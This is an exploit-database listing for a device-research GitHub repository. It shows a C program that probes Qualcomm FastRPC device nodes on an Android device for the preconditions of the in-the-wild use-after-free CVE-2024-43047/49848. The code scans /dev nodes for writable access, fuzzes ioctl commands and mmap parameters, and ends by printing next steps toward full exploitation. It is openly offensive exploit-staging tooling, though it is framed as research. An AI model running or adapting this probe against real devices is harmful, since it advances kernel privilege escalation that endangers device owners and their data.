Exploit database

GH-e6e5922ef9ac5cc7d4897803cb452516

zero2005x/rokid-rv101-research

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files254
zero2005x/rokid-rv101-researchRevision c74832d113c5
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

source_code/adsprpc_secure_exploit.c

C · 9,030 bytes
/*
 * adsprpc_secure_exploit.c - probing /dev/adsprpc-smd / -secure
 *
 * Target: CVE-2024-43047 / CVE-2024-49848 (FastRPC mmap UAF, ITW/NoviSpy)
 *
 * Device reality (measured 2026-08-21):
 * - /dev/adsprpc-smd        = 0664 system:system → shell can only O_RDONLY, O_RDWR gives EACCES
 * - /dev/adsprpc-smd-secure = 0644 system:system → O_RDONLY only
 * - no O_RDWR fd ⇒ cannot trigger the fastrpc_mmap UAF (the fd must be obtained through IDspService HWBinder)
 *
 * Build (dynamic linking; -static triggers the Bionic TLS alignment check):
 *   aarch64-linux-android24-clang -O2 -o adsprpc_secure_exploit adsprpc_secure_exploit.c
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <stdint.h>

#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]))

/* ioctl commands found to succeed */
#define IOCTL_GET_DSP_INFO 0xc00c5211    // ret=0 on adsprpc-smd
#define IOCTL_UNKNOWN_SUCCESS 0xc0405213 // ret=53 on adsprpc-smd
#define IOCTL_GETINFO 0xc0045208         // ret=0 on adsprpc-smd-secure!

/* possible MMAP and dangerous operations */
#define IOCTL_MMAP 0xc0285206        // errno=44 (need channel)
#define IOCTL_MUNMAP 0xc028520b      // errno=53
#define IOCTL_INVOKE 0xc0105201      // errno=53
#define IOCTL_INIT_CREATE 0xc0185204 // errno=53

/* structure definitions */
struct fastrpc_ioctl_dsp_info
{
    uint32_t domain;       // DSP domain ID (0=ADSP, 3=CDSP)
    uint32_t attribute_ID; // Attribute to query
    uint32_t capability;   // Output: capability value
};

struct fastrpc_ioctl_mmap
{
    int32_t fd;        // ion fd
    uint32_t flags;    // flags
    uint64_t vaddrin;  // virtual address in
    uint64_t size;     // size
    uint64_t vaddrout; // virtual address out (output)
};

/* structure for 0xc0405213 (64 bytes) */
struct fastrpc_ioctl_64bytes
{
    uint64_t data[8];
};

void test_secure_device(void)
{
    printf("\n=== Testing /dev/adsprpc-smd-secure ===\n");

    int fd = open("/dev/adsprpc-smd-secure", O_RDONLY);
    if (fd < 0)
    {
        printf("[-] Cannot open O_RDONLY: %s\n", strerror(errno));
        return;
    }
    printf("[+] Opened O_RDONLY: fd=%d\n", fd);

    // Test GETINFO
    uint32_t info = 0;
    errno = 0;
    int ret = ioctl(fd, IOCTL_GETINFO, &info);
    printf("[*] GETINFO (0xc0045208): ret=%d, errno=%d, info=0x%x\n",
           ret, errno, info);

    // Test GET_DSP_INFO in different domains
    struct fastrpc_ioctl_dsp_info dsp_info = {0};
    for (int domain = 0; domain <= 3; domain++)
    {
        dsp_info.domain = domain;
        dsp_info.attribute_ID = 0;
        dsp_info.capability = 0;

        errno = 0;
        ret = ioctl(fd, IOCTL_GET_DSP_INFO, &dsp_info);
        printf("[*] GET_DSP_INFO domain=%d: ret=%d, errno=%d, cap=0x%x\n",
               domain, ret, errno, dsp_info.capability);
    }

    // Test MMAP
    struct fastrpc_ioctl_mmap mmap_req = {0};
    mmap_req.fd = -1;
    mmap_req.flags = 0;
    mmap_req.vaddrin = 0;
    mmap_req.size = 4096;

    errno = 0;
    ret = ioctl(fd, IOCTL_MMAP, &mmap_req);
    printf("[*] MMAP: ret=%d, errno=%d (%s), vaddrout=0x%llx\n",
           ret, errno, strerror(errno), (unsigned long long)mmap_req.vaddrout);

    // Try O_RDWR
    close(fd);
    fd = open("/dev/adsprpc-smd-secure", O_RDWR);
    if (fd >= 0)
    {
        printf("[!] O_RDWR SUCCESS! fd=%d - THIS IS EXPLOITABLE!\n", fd);

        // If O_RDWR succeeds, we can try the full CVE-2024-43047 exploit
        mmap_req.fd = -1;
        mmap_req.flags = 0;
        mmap_req.vaddrin = 0;
        mmap_req.size = 4096;

        errno = 0;
        ret = ioctl(fd, IOCTL_MMAP, &mmap_req);
        printf("[*] MMAP with O_RDWR: ret=%d, errno=%d, vaddrout=0x%llx\n",
               ret, errno, (unsigned long long)mmap_req.vaddrout);

        close(fd);
    }
    else
    {
        printf("[-] O_RDWR failed: %s\n", strerror(errno));
    }
}

void analyze_successful_ioctls(int fd)
{
    printf("\n=== Analyzing successful ioctls on fd=%d ===\n", fd);

    // 0xc00c5211 succeeded, 12-byte structure
    struct fastrpc_ioctl_dsp_info dsp_info = {0};

    printf("[*] Testing 0xc00c5211 (GET_DSP_INFO variant)...\n");
    for (int domain = 0; domain <= 3; domain++)
    {
        for (int attr = 0; attr <= 10; attr++)
        {
            dsp_info.domain = domain;
            dsp_info.attribute_ID = attr;
            dsp_info.capability = 0;

            errno = 0;
            int ret = ioctl(fd, IOCTL_GET_DSP_INFO, &dsp_info);
            if (ret >= 0 || errno != 25)
            {
                printf("    domain=%d, attr=%d: ret=%d, errno=%d, cap=0x%x\n",
                       domain, attr, ret, errno, dsp_info.capability);
            }
        }
    }

    // 0xc0405213 returned 53, 64-byte structure
    printf("\n[*] Testing 0xc0405213 (64-byte command)...\n");
    struct fastrpc_ioctl_64bytes cmd64 = {0};

    errno = 0;
    int ret = ioctl(fd, IOCTL_UNKNOWN_SUCCESS, &cmd64);
    printf("    ret=%d, errno=%d (%s)\n", ret, errno, ret >= 0 ? "OK" : strerror(errno));
    printf("    data: ");
    for (int i = 0; i < 8; i++)
    {
        printf("0x%llx ", (unsigned long long)cmd64.data[i]);
    }
    printf("\n");
}

void try_mmap_without_init(int fd)
{
    printf("\n=== Trying MMAP without proper initialization ===\n");
    printf("(This tests CVE-2024-43047 preconditions)\n");

    struct fastrpc_ioctl_mmap mmap_req = {0};

    // Try different parameter combinations
    int fds_to_try[] = {-1, 0, fd};
    uint32_t flags_to_try[] = {0, 1, 2, 4, 0x1000, 0x80000};

    for (int f = 0; f < (int)ARRAY_SIZE(fds_to_try); f++)
    {
        for (int fl = 0; fl < (int)ARRAY_SIZE(flags_to_try); fl++)
        {
            mmap_req.fd = fds_to_try[f];
            mmap_req.flags = flags_to_try[fl];
            mmap_req.vaddrin = 0;
            mmap_req.size = 4096;
            mmap_req.vaddrout = 0;

            errno = 0;
            int ret = ioctl(fd, IOCTL_MMAP, &mmap_req);

            // Only show non-standard errors
            if (errno != 44 && errno != 1 && errno != 25)
            {
                printf("[!] fd=%d, flags=0x%x: ret=%d, errno=%d (%s)\n",
                       fds_to_try[f], flags_to_try[fl], ret, errno, strerror(errno));
                if (ret >= 0)
                {
                    printf("[!!!] MMAP SUCCEEDED! vaddrout=0x%llx\n",
                           (unsigned long long)mmap_req.vaddrout);
                }
            }
        }
    }
}

void scan_all_misc_devices(void)
{
    printf("\n=== Scanning /dev for exploitable devices ===\n");

    // Check some potentially interesting devices
    const char *devices[] = {
        "/dev/adsprpc-smd",
        "/dev/adsprpc-smd-secure",
        "/dev/qseecom",
        "/dev/qce",
        "/dev/qcrypto",
        "/dev/kgsl-3d0",
        "/dev/msm_rotator",
        "/dev/smem_log",
        "/dev/subsys_modem",
        "/dev/subsys_adsp",
        "/dev/subsys_slpi",
        "/dev/subsys_cdsp",
        "/dev/wlan",
        "/dev/diag",
        "/dev/ion",
        "/dev/ashmem",
        NULL};

    for (int i = 0; devices[i] != NULL; i++)
    {
        int fd_ro = open(devices[i], O_RDONLY);
        int fd_rw = open(devices[i], O_RDWR);

        if (fd_ro >= 0 || fd_rw >= 0)
        {
            printf("[+] %s: O_RDONLY=%s, O_RDWR=%s\n",
                   devices[i],
                   fd_ro >= 0 ? "YES" : "NO",
                   fd_rw >= 0 ? "YES" : "NO");
        }

        if (fd_ro >= 0)
            close(fd_ro);
        if (fd_rw >= 0)
            close(fd_rw);
    }
}

int main(int argc, char **argv)
{
    (void)argc;
    (void)argv;

    printf("=== ADSPRPC Secure Device Exploit Probe ===\n");
    printf("Targeting CVE-2024-43047/49848\n");
    printf("============================================\n");

    // Scan devices
    scan_all_misc_devices();

    // Test the secure device
    test_secure_device();

    // Open the normal device
    int fd = open("/dev/adsprpc-smd", O_RDONLY);
    if (fd >= 0)
    {
        printf("\n[*] Opened /dev/adsprpc-smd O_RDONLY: fd=%d\n", fd);

        // Analyze the successful ioctls
        analyze_successful_ioctls(fd);

        // Try MMAP
        try_mmap_without_init(fd);

        close(fd);
    }

    printf("\n=== Recommendations ===\n");
    printf("1. /dev/adsprpc-smd-secure appears more permissive\n");
    printf("2. Try connecting to dspservice via HWBinder for full access\n");
    printf("3. Look for ways to trigger DSP initialization first\n");
    printf("4. errno=112 (EHOSTDOWN) suggests DSP subsystem is inactive\n");

    return 0;
}